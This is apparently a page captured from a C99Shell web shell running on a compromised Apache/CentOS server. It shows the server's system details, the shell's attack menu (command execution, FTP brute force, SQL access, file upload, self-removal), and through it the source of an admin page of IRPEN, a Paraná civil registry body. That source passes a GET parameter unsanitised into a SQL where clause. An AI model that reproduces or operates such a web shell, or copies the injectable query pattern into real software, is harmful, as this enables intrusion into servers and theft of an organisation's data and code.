!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/fornecedores/   drwxr-xr-x
Free 9.42 GB of 93.48 GB (10.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     fornecedor_grupo_cad.php (5.67 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
// Includes
    
include("../../config/config.php");
    include(
INCLUDES "inc_Funcoes.php");
    include(
INCLUDES "inc_Conexao.php");
    include(
INCLUDES "valida_usuario.inc.php");

    if (
$_GET['idGfo']) {
        
$idGfo $_GET['idGfo'];
        
$labelBotao 'Alterar';
        
        
$where "GFO_RowID = $idGfo";
        
$grupos lista('FUN_GruposFornecedores',$where);
        
        foreach(
$grupos as $grupos) {
            
$grupos $grupos;
        }
        
extract($grupos);
    } else
        
$labelBotao 'Salvar';

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <meta name="Description" content="IRPEN">
    <meta name="Keywords" content="">
    <meta name="resource-type" content="document">
    <meta name="classification" content="Internet">
    <meta name="robots" content="all">
    <meta name="rating" content="General">
    <meta name="Author" content="Ninart! Solucoes para Web.">
    <meta name="language" content="pt-br">
    <link rel="shortcut icon" href="imagens/favicon.gif"type="image/gif">
    <link rel="stylesheet" href="<?=  HOST;?>css/irpen.css" type="text/css" />
    <link rel="stylesheet" media="all" type="text/css" href="<?=  HOST;?>css/menu_dropline.css" />
    <link type="text/css" href="<?=  HOST;?>css/jquery-ui/ui.all.css" rel="Stylesheet" />
    <!--[if IE]>
    <link rel="stylesheet" media="all" type="text/css" href="css/menu_dropline_ie.css" />
    <![endif]-->
    <!--[if lt IE 7]>
        <link rel="stylesheet" media="all" type="text/css" href="css/menu_dropline_ie6.css" />
    <![endif]-->

    <title>IRPEN | Instituto de Registro Civil de Pessoas Naturais do Paraná - 2008</title>
    <script type="text/javascript" src="<?=  HOST;?>includes/jquery.js"></script>
    <script type="text/javascript" src="<?=  HOST;?>includes/jquery.bestupper.min.js"></script>
     <script type="text/javascript" src="<?=  HOST;?>includes/funcoes.js"></script>
<script type="text/javascript">
    $(document).ready(function() {
       $('.bestupper').bestupper();
       $('.bestlower').bestlower();
       $('#GFO_Nome').focus();
    });
    function validaForm() {
        if ($('#GFO_Nome').val() == '') {
            alert('Digite o Nome do Grupo!');
            $('#GFO_Nome').focus();
            return false;
        } else {
            $('#salvar').attr('disabled',true);
            $('#form2').submit();
            /*var data = $('#form1').serialize();
            $.post('fornecedor_grupo_grava.php', data, function(data){
                $('#result').html(data);
            });*/
            return false;
        }
        return false;
    }
    function alteraStatus(acao,id) {
        if (acao == 'Inativar')
            txt = 'inativacao';
        else
            txt = 'ativacao';

        if (confirm('Confirma '+txt+' deste Grupo?')) {
            //alert(acao+' Fornecedor');
            $('#result').load('fornecedor_grupo_grava.php?id='+id+'&acao='+acao);
        }
    }
</script>
</head>

<body>
    <div id="wrap">

        <?php include "../topo_gestao.php";?>

        <!-- content-wrap starts -->
        <div id="content-wrap">
            <table width="100%" border="0">
                <tr>
                <td align="left" valign="top" bgcolor="#FFFFFF" width="1%">&nbsp;</td>
                <td align="left" valign="top">

                <table width="100%" border="0" >
                    <tr>
                    <td align="" valign="top"><h2>Cadastro de grupo de fornecedores</h2></td>
                    <div id="linha_h2" align="center">
<form id="form2" name="form2" method="post" action="fornecedor_grupo_grava.php" onsubmit="return validaForm()" target="recipiente">
  <p>
  <table width="50%" border="0" align="center" cellpadding="3" cellspacing="0" class="tabela">
      <tr>
        <td width="100" colspan="4">&nbsp;</td>
    </tr>
    <tr>
      <td align="right">&nbsp;</td>
      <td><input name="GFO_RowID" type="hidden" id="GFO_RowID" value="<?= $GFO_RowID?>" /></td>
    </tr>
    <tr>
      <td align="right">Nome<span style="color:red">*</span>:&nbsp;</td>
      <td>&nbsp;<input name="GFO_Nome" type="text" id="GFO_Nome" size="35" value="<?= $GFO_Nome?>" class="bestupper" /></td>
    </tr>
      <?php if ($GFO_RowID != '') { ?>
      <tr>
        <td align="right">Situa&ccedil;&atilde;o:&nbsp;</td>
        <td>&nbsp;<?= ($GFO_AtivoSN == 'S' || $GFO_AtivoSN == '') ? 'Ativo' 'Inativo' ?><input type="hidden" name="GFO_AtivoSN" id="GFO_AtivoSN" value="<?= $GFO_AtivoSN?>" /></td>
    </tr>
    <?php  }?>
    <tr>
      <td align="right">&nbsp;</td>
      <td>&nbsp;</td>
    </tr>
  </table> 
  <p>&nbsp;</p>
  <table width="1000" border="0" cellpadding="0" cellspacing="0">
    <tr>
      <td align="center"><input type="submit" name="salvar" id="salvar" value="<?= $labelBotao?>" />
      <?php if ($GFO_RowID != '') { ?>
      <input type="button" name="btnStatus" id="btnStatus" value="<?= ($GFO_AtivoSN == 'S') ? 'Inativar' 'Ativar' ?>" onclick="alteraStatus(this.value,'<?= $GFO_RowID?>');" />
      <?php ?>
        <input type="button" name="voltar" id="voltar" value="Voltar" onclick="window.location = 'fornecedor_grupos_lista.php'" /></td>
    </tr>
  </table>
  </p>
</form>
        </div>
<iframe name="recipiente" id="recipiente" width="0" height="0"></iframe>
        <div align="center">
            <strong><br />
            Rua Mal. Deodoro, 51 - Galeria Ritz - 18º Andar | Fone: (41) 3232-9811 | CEP 80.020-905 - Curitiba - Paraná</strong>
            <!-- content-wrap ends-->
        </div>
        <!-- footer starts -->
        <div id="footer-wrap"></div>
        <div id="rodape"></div>
    </div>
 <div id="result" style="width:600;height:300"></div>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0035 ]--